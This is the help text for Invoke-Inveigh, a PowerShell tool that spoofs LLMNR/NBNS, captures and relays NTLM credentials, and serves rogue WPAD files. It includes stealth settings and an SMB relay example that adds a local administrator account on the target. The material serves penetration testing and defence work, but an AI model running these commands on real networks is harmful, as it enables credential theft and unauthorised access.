.SYNOPSIS
Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP/HTTPS/SMB.

.DESCRIPTION
Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with the following features:

    IPv4 LLMNR/NBNS spoofer with granular control
    NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB
    Basic auth cleartext credential capture over HTTP/HTTPS
    WPAD server capable of hosting a basic or custom wpad.dat file
    HTTP/HTTPS server capable of hosting limited content
    Granular control of console and file output
    Run time control

.PARAMETER IP
Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpooferIP' parameter is not set.

.PARAMETER SpooferIP
Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host. 

.PARAMETER SpooferHostsReply
Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS.

.PARAMETER SpooferHostsIgnore
Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS.

.PARAMETER SpooferIPsReply
Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS.

.PARAMETER SpooferIPsIgnore
Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.

.PARAMETER SpooferRepeat
Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured.

.PARAMETER LLMNR
Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing.

.PARAMETER LLMNRTTL
Default = 30 Seconds: Specify a custom LLMNR TTL in seconds for the response packet.

.PARAMETER NBNS
Default = Disabled: (Y/N) Enable/Disable NBNS spoofing.

.PARAMETER NBNSTTL
Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet.

.PARAMETER NBNSTypes
Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name

.PARAMETER HTTP
Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture.

.PARAMETER HTTPS
Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443.
If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store.

.PARAMETER HTTPAuth
Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests.

.PARAMETER HTTPBasicRealm
Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.

.PARAMETER HTTPDir
Specify a full directory path to enable hosting of basic content through the HTTP/HTTPS listener. This parameter will not be used if HTTPResponse is set.

.PARAMETER HTTPDefaultFile
Specify a filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used for wpad.dat requests.

.PARAMETER HTTPDefaultEXE
Specify an EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for EXE requests. 

.PARAMETER HTTPResponse
Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests.

.PARAMETER HTTPSCertAppID
Specify a valid application GUID for use with the ceriticate.

.PARAMETER HTTPSCertThumbprint
Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx.

.PARAMETER WPADAuth
Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts.

.PARAMETER WPADIP
Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.

.PARAMETER WPADPort
Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.

.PARAMETER WPADDirectHosts
Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy.

.PARAMETER WPADResponse
Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set.

.PARAMETER SMB
Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server.
Block TCP ports 445/139 or kill the SMB services if you need to prevent login requests from being processed by the Inveigh host.  

.PARAMETER Challenge
Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures.

.PARAMETER MachineAccounts
Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts.

.PARAMETER SMBRelay
Default = Disabled: (Y/N) Enable/Disable SMB relay. Note that Inveigh-Relay.ps1 must be loaded into memory.

.PARAMETER SMBRelayTarget
IP address of system to target for SMB relay.

.PARAMETER SMBRelayCommand
Command to execute on SMB relay target.

.PARAMETER SMBRelayUsernames
Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. 

.PARAMETER SMBRelayAutoDisable
Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target.

.PARAMETER SMBRelayNetworkTimeout
Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent.

.PARAMETER ConsoleOutput
Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.

.PARAMETER FileOutput
Default = Disabled: (Y/N) Enable/Disable real time file output.

.PARAMETER StatusOutput
Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.

.PARAMETER OutputStreamOnly
Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams.
Note that you will not see the various yellow warning messages if enabled.

.PARAMETER OutputDir
Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled.

.PARAMETER ShowHelp
Default = Enabled: (Y/N) Enable/Disable the help messages at startup.

.PARAMETER RunTime
(Integer) Set the run time duration in minutes.

.PARAMETER Inspect
(Switch) Disable LLMNR, NBNS, HTTP, HTTPS, and SMB in order to only inspect LLMNR/NBNS traffic.

.PARAMETER Tool
Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire   

.EXAMPLE
Import-Module .\Inveigh.psd1;Invoke-Inveigh
Import full module and execute with all default settings.

.EXAMPLE
. ./Inveigh.ps1;Invoke-Inveigh -IP 192.168.1.10
Dot source load and execute specifying a specific local listening/spoofing IP.

.EXAMPLE
Invoke-Inveigh -IP 192.168.1.10 -HTTP N
Execute specifying a specific local listening/spoofing IP and disabling HTTP challenge/response.

.EXAMPLE
Invoke-Inveigh -SpooferRepeat N -WPADAuth Anonymous -SpooferHostsReply host1,host2 -SpooferIPsReply 192.168.2.75,192.168.2.76
Execute with the stealthiest options.

Invoke-Inveigh -Inspect
Execute with LLMNR, NBNS, SMB, HTTP, and HTTPS disabled in order to only inpect LLMNR/NBNS traffic.

.EXAMPLE
Invoke-Inveigh -HTTP N -LLMNR N -NBNS N
Execute with LLMNR/NBNS spoofing disabled and challenge/response capture over SMB only. This may be useful for capturing non-Kerberos authentication attempts on a file server.

.EXAMPLE
Invoke-Inveigh -IP 192.168.1.10 -SpooferIP 192.168.2.50 -HTTP N
Execute specifying a specific local listening IP and a LLMNR/NBNS spoofing IP on another subnet. This may be useful for sending traffic to a controlled Linux system on another subnet.

.EXAMPLE
Invoke-Inveigh -HTTPResponse '<html><head><meta http-equiv="refresh" content="0; url=https://duckduckgo.com/"></head></html>'
Execute specifying an HTTP redirect response.

.EXAMPLE
Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Winter2016 /add && net localgroup administrators Dave /add"
Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target.  

.NOTES
1. An elevated administrator or SYSTEM shell is needed.
2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/HTTPS/SMB NTLMv1/NTLMv2 challenge/response capture.
3. LLMNR/NBNS spoofing is performed through sniffing and sending with raw sockets.
4. SMB challenge/response captures are performed by sniffing over the host system's SMB service.
5. HTTP challenge/response captures are performed with a dedicated listener.
6. The local LLMNR/NBNS services do not need to be disabled on the host system.
7. LLMNR/NBNS spoofer will point victims to host system's SMB service, keep account lockout scenarios in mind.
8. Kerberos should downgrade for SMB authentication due to spoofed hostnames not being valid in DNS.
9. Ensure that the LMMNR,NBNS,SMB,HTTP ports are open within any local firewall on the host system.
10. If you copy/paste challenge/response captures from output window for password cracking, remove carriage returns.
